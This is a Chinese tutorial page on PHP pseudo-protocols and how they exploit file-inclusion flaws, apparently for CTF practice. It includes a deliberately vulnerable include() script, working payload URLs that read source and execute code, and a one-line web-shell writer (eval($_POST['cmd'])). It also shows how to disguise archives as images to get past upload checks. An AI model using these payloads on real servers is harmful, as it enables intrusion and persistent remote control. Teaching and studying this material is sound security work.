PHP伪协议详解
require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行 require_once() // 如果一个文件已经被包含过,则不会在包含它 include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行。php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://i
一起研究一下php伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
当代码中出现可控的文件包含函数,我们可以利用这些php伪协议,也叫封装协议,
常见的文件包含函数有
require() // require函数出现错误的时候,会直接 报错并退出 程序的执行。
require_once() // 如果一个文件已经被包含过,则不会在包含它
include() // include在包含的过程中如果出现错误,会抛出一个警告,程序 继续正常运行
include_once() // 如果一个文件已经被包含过,则不会在包含它
因为include函数的功能就是加载任意类型的文件
所以我这边自己在服务器写了一个有关include函数的的代码
index.php
<?php
header('Content-Type: text/html; charset=UTF-8'); // 设置字符编码为UTF-8
// 检查是否设置了 'file' 参数
if(isset($_GET['file'])) {
$file = $_GET['file'];
// 试图包含文件
@include($file);
} else {
echo "没有指定文件。";
}
?>
-
allow_url_fopen = On:这个设置打开后,你可以使用PHP的一些功能从互联网上(比如一个网址)读取文件,就像读取在你电脑上的文件一样。
-
allow_url_include = On:这个设置打开后,你可以直接把互联网上的PHP代码当作你自己电脑上的PHP代码一样运行。但是这样做可能会有危险,因为如果别人的代码中有恶意的部分,那么它也会在你的电脑上运行。
1.file://协议
PHP.ini(配置文件): file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
这边简单利用一下
从代码可以看出来是通过file参数进行传递的
那我们构造一个url
http://47.116.xxx.xx/?file=file:///home/wwwroot/php/2.txt
这个格式大家都明白吧
file://是协议部分 /home 这个/代表根目录(这是linux的,windows只需要把协议部分的//写上)
2.php://协议
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini(配置文件):
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
http://47.116.xx.xxx/?file=php://filter/read=convert.base64-encode/resource=/home/wwwroot/default/2.php支持绝对路径也支持相对路径 如果是当前目录的话就 resource=./index.php即可
在线base64解码即可
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini(配置文件):
allow_url_fopen :off/on
allow_url_include:on
<?php phpinfo()?>
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>
post请求
但实际情况中有时候get请求中的数据可以作为php代码执行,因为get也可以携带请求体。(执行php代码操作系统命令时,注意system exec这种函数,得保证php.ini文件没有禁用)
3.zip://, bzip2://, zlib://协议
PHP.ini(配置文件)
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
zip://协议
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23
具体操作方法是
我们将要执行的php代码写好名为phpinfo.txt,将phpinfo.txt进行zip压缩,压缩名为1.zip,
如果上传有限制,比如要求jpg,我们可以将1.zip改为1.jpg,
http://47.116.xx.xxx/?file=zip://./1.zip%23phpinfo.txt 相对路径
http://47.116.xx.xxx/?file=zip:///home/wwwroot/php/1.zip%23phpinfo.txt 绝对路径
bzip2://协议
compress.bzip2://file.bz2
http://127.0.0.1/?file=compress.bzip2:///home/wwwroot/php/file.jpg
http://127.0.0.1/?file=compress.bzip2://./file.jpg
zlib://协议
compress.zlib://file.gz
http://127.0.0.1/?file=compress.zlib:///home/wwwroot/php/file.jpg
http://127.0.0.1/?file=compress.zlib://./file.jpg
4.data协议
主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
http://127.0.0.1/?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://127.0.0.1/?file=data:text/plain,<?php phpinfo()?>
http://127.0.0.1/?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
以上都可以
5.phar协议
Phar(PHP归档)的主要特点就是能够将一组PHP文件打包到一个单独的.phar文件中,不经过解压就能被php访问并且执行
注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
http://127.0.0.1/?file=phar://10.zip/10.php

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。
更多推荐
所有评论(0)